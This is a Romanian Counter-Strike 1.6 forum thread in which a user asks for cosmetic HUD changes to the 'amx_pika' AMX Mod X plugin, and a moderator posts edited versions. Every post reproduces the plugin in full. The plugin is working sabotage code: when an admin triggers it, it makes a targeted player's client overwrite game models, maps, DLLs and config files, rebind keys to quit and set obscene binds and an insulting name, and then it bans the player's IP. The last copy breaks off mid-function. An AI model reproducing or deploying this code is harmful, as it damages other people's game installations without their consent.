Cerere modificare amx_pika

Modificari necesare ale pluginurilor

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Post Reply
User avatar
ionutalexandru
Membru, skill +1
Membru, skill +1
Posts: 440
Joined: 10 Jul 2014, 13:43
Detinator Steam: Da
CS Status: Counter Strike 1.6
Detinator server CS: Furien.LaLeagane.Ro
SteamID: BBcode
Fond eXtream: 0
Location: Craiova, Romania
Has thanked: 15 times
Been thanked: 1 time
Contact:

07 Aug 2014, 14:44

Salut
Vreau sa imi modificati si mie sa nu mai apara textul in partea stanga
Imagine:
| Afiseaza codul
http://postimg.org/image/ke24t8otv/
Daca se poate sa imi faceti sa apara pe mijloc cu culoare alba si scrisu mai mare.

Pluginul
| Afiseaza codul
/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >


/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
//#define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Pika"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"AMXX_PIKA.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name UN_*****",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m sunt_un_*****",
	"bind q admin_esti_un_prost_I_",
	"bind g admin_****_suge_cariciu :))",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_pika", "cmdPika", ADMIN_LEVEL_A , "<nume sau #userid>" );
}

public cmdPika ( id )
{
	if(!(get_user_flags(id) & ADMIN_IMMUNITY))
		return 1
	
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "[PIKA] Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	set_dhudmessage(171, 237, 17, 0.01, 0.26, 0, 6.0, 12.0)
	show_dhudmessage(0, "Jucatorul %s a fost distrus si banat!^nComanda executata de adminul %s.",name2,name)
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda Pika pe: %s cu motivul: (%s)", name, player, userid2, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd ( "kick #%d ^"Ai primit PIKA ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip );
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3PIKA^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_PIKA ^3pe jucatorul ^4(%s)", name, player, userid2 );
	}
	else
	{
		client_print ( 0, print_chat, "[PIKA] Adminul %s a folosti comanda PIKA pe (%s)", name, player, userid2 );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}


#if defined _dhudmessage_included
    #endinput
#endif

#define _dhudmessage_included

#include <amxmodx>

stock __dhud_color;
stock __dhud_x;
stock __dhud_y;
stock __dhud_effect;
stock __dhud_fxtime;
stock __dhud_holdtime;
stock __dhud_fadeintime;
stock __dhud_fadeouttime;
stock __dhud_reliable;

stock set_dhudmessage( red = 0, green = 160, blue = 0, Float:x = -1.0, Float:y = 0.65, effects = 2, Float:fxtime = 6.0, Float:holdtime = 3.0, Float:fadeintime = 0.1, Float:fadeouttime = 1.5, bool:reliable = false )
{
    #define clamp_byte(%1)       ( clamp( %1, 0, 255 ) )
    #define pack_color(%1,%2,%3) ( %3 + ( %2 << 8 ) + ( %1 << 16 ) )

    __dhud_color       = pack_color( clamp_byte( red ), clamp_byte( green ), clamp_byte( blue ) );
    __dhud_x           = _:x;
    __dhud_y           = _:y;
    __dhud_effect      = effects;
    __dhud_fxtime      = _:fxtime;
    __dhud_holdtime    = _:holdtime;
    __dhud_fadeintime  = _:fadeintime;
    __dhud_fadeouttime = _:fadeouttime;
    __dhud_reliable    = _:reliable;

    return 1;
}

stock show_dhudmessage( index, const message[], any:... )
{
    new buffer[ 128 ];
    new numArguments = numargs();

    if( numArguments == 2 )
    {
        send_dhudMessage( index, message );
    }
    else if( index || numArguments == 3 )
    {
        vformat( buffer, charsmax( buffer ), message, 3 );
        send_dhudMessage( index, buffer );
    }
    else
    {
        new playersList[ 32 ], numPlayers;
        get_players( playersList, numPlayers, "ch" );

        if( !numPlayers )
        {
            return 0;
        }

        new Array:handleArrayML = ArrayCreate();

        for( new i = 2, j; i < numArguments; i++ )
        {
            if( getarg( i ) == LANG_PLAYER )
            {
                while( ( buffer[ j ] = getarg( i + 1, j++ ) ) ) {}
                j = 0;

                if( GetLangTransKey( buffer ) != TransKey_Bad )
                {
                    ArrayPushCell( handleArrayML, i++ );
                }
            }
        }

        new size = ArraySize( handleArrayML );

        if( !size )
        {
            vformat( buffer, charsmax( buffer ), message, 3 );
            send_dhudMessage( index, buffer );
        }
        else
        {
            for( new i = 0, j; i < numPlayers; i++ )
            {
                index = playersList[ i ];

                for( j = 0; j < size; j++ )
                {
                    setarg( ArrayGetCell( handleArrayML, j ), 0, index );
                }

                vformat( buffer, charsmax( buffer ), message, 3 );
                send_dhudMessage( index, buffer );
            }
        }

        ArrayDestroy( handleArrayML );
    }

    return 1;
}

stock send_dhudMessage( const index, const message[] )
{
    message_begin( __dhud_reliable ? ( index ? MSG_ONE : MSG_ALL ) : ( index ? MSG_ONE_UNRELIABLE : MSG_BROADCAST ), SVC_DIRECTOR, _, index );
    {
        write_byte( strlen( message ) + 31 );
        write_byte( DRC_CMD_MESSAGE );
        write_byte( __dhud_effect );
        write_long( __dhud_color );
        write_long( __dhud_x );
        write_long( __dhud_y );
        write_long( __dhud_fadeintime );
        write_long( __dhud_fadeouttime );
        write_long( __dhud_holdtime );
        write_long( __dhud_fxtime );
        write_string( message );
    }
    message_end();
}
Last edited by ionutalexandru on 09 Aug 2014, 00:36, edited 1 time in total.
Image
http://csmaster.biz MasterServer Romanesc Free Add
RoyalServer 2
User avatar
h4wk
Fost moderator
Fost moderator
Posts: 3806
Joined: 22 Sep 2009, 13:10
Detinator Steam: Da
Reputatie: Fost eXtream Mod
Nume anterior : DaZ , zimpe , Dan eXtream
Location: Iasi
Has thanked: 306 times
Been thanked: 321 times
Contact:

07 Aug 2014, 15:27

Vezi daca e OK asa :
| Afiseaza codul
[code]/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >


/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
//#define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Pika"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"AMXX_PIKA.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name UN_*****",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m sunt_un_*****",
	"bind q admin_esti_un_prost_I_",
	"bind g admin_****_suge_cariciu :))",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_pika", "cmdPika", ADMIN_LEVEL_A , "<nume sau #userid>" );
}

public cmdPika ( id )
{
	if(!(get_user_flags(id) & ADMIN_IMMUNITY))
		return 1
	
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "[PIKA] Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	
	set_hudmessage(255, 255, 255, 0.30, 0.27, 0, 6.0, 12.0)
	show_hudmessage(0, "Jucatorul %s a fost distrus si banat!^nComanda executata de adminul %s.",name2,name)
	
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda Pika pe: %s cu motivul: (%s)", name, player, userid2, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd ( "kick #%d ^"Ai primit PIKA ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip );
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3PIKA^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_PIKA ^3pe jucatorul ^4(%s)", name, player, userid2 );
	}
	else
	{
		client_print ( 0, print_chat, "[PIKA] Adminul %s a folosti comanda PIKA pe (%s)", name, player, userid2 );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ ansicpg1252\\ deff0\\ deflang1033{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ f0\\ fs16 \n\\ par }
*/
[/code]

Code: Select all

"Daca ai culoare nu inseamna ca esti mai presus ca un utilizator. Culoare e un fel de "rasplata" pentru ca te implici in "ridicarea" acestei comunitati.
Unii nu realizeaza ca daca ai culoare nu inseamna ca esti smecher." -- by Alexey
:troll :troll

Spui ceva,dar faci altceva !
User avatar
ionutalexandru
Membru, skill +1
Membru, skill +1
Posts: 440
Joined: 10 Jul 2014, 13:43
Detinator Steam: Da
CS Status: Counter Strike 1.6
Detinator server CS: Furien.LaLeagane.Ro
SteamID: BBcode
Fond eXtream: 0
Location: Craiova, Romania
Has thanked: 15 times
Been thanked: 1 time
Contact:

08 Aug 2014, 22:06

Dan eXtream wrote:Vezi daca e OK asa :
| Afiseaza codul
[code]/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >


/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
//#define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Pika"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"AMXX_PIKA.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name UN_*****",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m sunt_un_*****",
	"bind q admin_esti_un_prost_I_",
	"bind g admin_****_suge_cariciu :))",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_pika", "cmdPika", ADMIN_LEVEL_A , "<nume sau #userid>" );
}

public cmdPika ( id )
{
	if(!(get_user_flags(id) & ADMIN_IMMUNITY))
		return 1
	
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "[PIKA] Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	
	set_hudmessage(255, 255, 255, 0.30, 0.27, 0, 6.0, 12.0)
	show_hudmessage(0, "Jucatorul %s a fost distrus si banat!^nComanda executata de adminul %s.",name2,name)
	
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda Pika pe: %s cu motivul: (%s)", name, player, userid2, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd ( "kick #%d ^"Ai primit PIKA ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip );
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3PIKA^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_PIKA ^3pe jucatorul ^4(%s)", name, player, userid2 );
	}
	else
	{
		client_print ( 0, print_chat, "[PIKA] Adminul %s a folosti comanda PIKA pe (%s)", name, player, userid2 );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ ansicpg1252\\ deff0\\ deflang1033{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ f0\\ fs16 \n\\ par }
*/
[/code]
Arata bine dar daca ai putea sa imi faci sa apara pe mijloc iar cand apare scrisu sa apara cate o literea.
Ma inteleti mai bine ce vreau sa imi faci.
Si nu inteleg de ce nu apare tot timpu odata nu, odata da.
Imagine.
| Afiseaza codul
http://postimg.org/image/41clrdwkl/
Multumesc.
Image
http://csmaster.biz MasterServer Romanesc Free Add
User avatar
h4wk
Fost moderator
Fost moderator
Posts: 3806
Joined: 22 Sep 2009, 13:10
Detinator Steam: Da
Reputatie: Fost eXtream Mod
Nume anterior : DaZ , zimpe , Dan eXtream
Location: Iasi
Has thanked: 306 times
Been thanked: 321 times
Contact:

09 Aug 2014, 09:39

| Afiseaza codul
[code]/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >


/*************************************************************/
/*       ATENTIE!
   Stergeti // daca vreti mesaje colorate in chat pe Server!
   Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
//#define USE_COLORCHAT


#if defined USE_COLORCHAT
   #include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME      "AMXX Pika"
#define PLUGIN_VERSION      "1.2.0"
#define PLUGIN_AUTHOR      "AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE      "AMXX_PIKA.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
   "kill",
   "motdfile models/player.mdl;motd_write y",
   "motdfile models/v_ak47.mdl;motd_write x",
   "motdfile models/p_ak47.mdl;motd_write x",
   "motdfile models/v_flashbang.mdl;motd_write y",
   "motdfile models/p_m3.mdl;motd_write x",
   "motdfile models/v_awp.mdl;motd_write n",
   "motdfile models/p_ump45.mdl;motd_write x",
   "motdfile models/v_awp.mdl;motd_write x",
   "motdfile models/player/arctic/arctic.mdl;motd_write x",
   "motdfile models/player/gsg9/gsg9.mdl;motd_write y",
   "motdfile models/player/sas/sas.mdl;motd_write x",
   "motdfile models/player/terror/terror.mdl;motd_write y",
   "motdfile models/player/vip/vip.mdl;motd_write x",
   "motdfile models/player/urban/urban.mdl;motd_write x",
   "motdfile resource/GameMenu.res;motd_write x",
   "motdfile halflife.wad;motd_write x",
   "motdfile liblist.gam;motd_write y",
   "motdfile cs_dust.wad;motd_write x",
   "motdfile events/ak47.sc;motd_write x",
   "motdfile autoexec.cfg;motd_write x",
   "motdfile server.cfg;motd_write x",
   "motdfile ajawad.wad;motd_write x",
   "motdfile cstrike.wad;motd_write x",
   "motdfile dlls/mp.dll;motd_write x",
   "motdfile dlls/cs_i386.so;motd_write x",
   "motdfile cl_dlls/client.dll;motd_write x",
   "motdfile resource/cstrike_english.txt;motd_write x",
   "motdfile resource/game_menu.tga;motd_write x",
   "motdfile maps/de_inferno.bsp;motd_write x",
   "motdfile maps/de_dust2.bsp;motd_write x",
   "motdfile maps/de_aztec.bsp;motd_write x",
   "motdfile maps/de_dust.bsp;motd_write x",
   "motdfile maps/de_train.bsp;motd_write x",
   "motdfile cs_assault.wad;motd_write x",
   "motdfile spectatormenu.txt.wad;motd_write x",
   "motdfile custom.hpk;motd_write x",
   "sys_ticrate 0.1",
   "bind w quit",
   "bind a quit",
   "bind d quit",
   "cl_cmdrate 0.1",
   "cl_updaterate 0.0.1",
   "fps_max 1.0",
   "fps_modem 1.0",
   "name UN_*****",
   "cl_timeout 0.0",
   "cl_allowdownload 0",
   "cl_allowupload 0",
   "rate 00000",
   "developer 2",
   "hpk_maxsize 100",
   "bind m sunt_un_*****",
   "bind q admin_esti_un_prost_I_",
   "bind g admin_****_suge_cariciu :))",
   "cl_forwardspeed 100",
   "cl_backspeed 100",
   "cl_sidespeed 100",
   "motdfile userconfig.cfg;motd_write x",
   "bind t quit",
   "bind y quit",
   "cd eject",
   "quit"
};
/************************************************************/

public plugin_init ( )
{
   register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
   register_clcmd ( "amx_pika", "cmdPika", ADMIN_LEVEL_A , "<nume sau #userid>" );
}

public cmdPika ( id )
{
   if(!(get_user_flags(id) & ADMIN_IMMUNITY))
      return 1
   
   
   new arg [ 33 ];
   read_argv ( 1, arg, charsmax ( arg ) );
   new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
   
   if ( !player )
   {
      console_print ( id, "[PIKA] Jucatorul nu este online sau a iesit de pe Server." );
      return 1;
   }
   
   new authid [ 33 ], authid2 [ 33 ],
   name2 [ 33 ], name [ 33 ],
   userid2, reason [ 32 ], userip [ 33 ];
   
   get_user_authid ( id, authid, charsmax ( authid ) );
   get_user_authid ( player, authid2, charsmax ( authid2 ) );
